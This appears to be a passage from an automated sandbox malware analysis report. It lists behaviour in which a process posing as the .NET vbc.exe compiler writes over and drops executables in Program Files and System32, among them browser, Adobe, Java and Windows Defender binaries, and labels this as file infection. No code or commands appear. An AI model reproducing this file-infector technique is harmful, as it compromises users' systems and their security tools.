Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\Spectrum.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\TieringEngineService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\AgentService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	System file written: C:\Windows\System32\sppsvc.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\SensorDataService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	File created: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
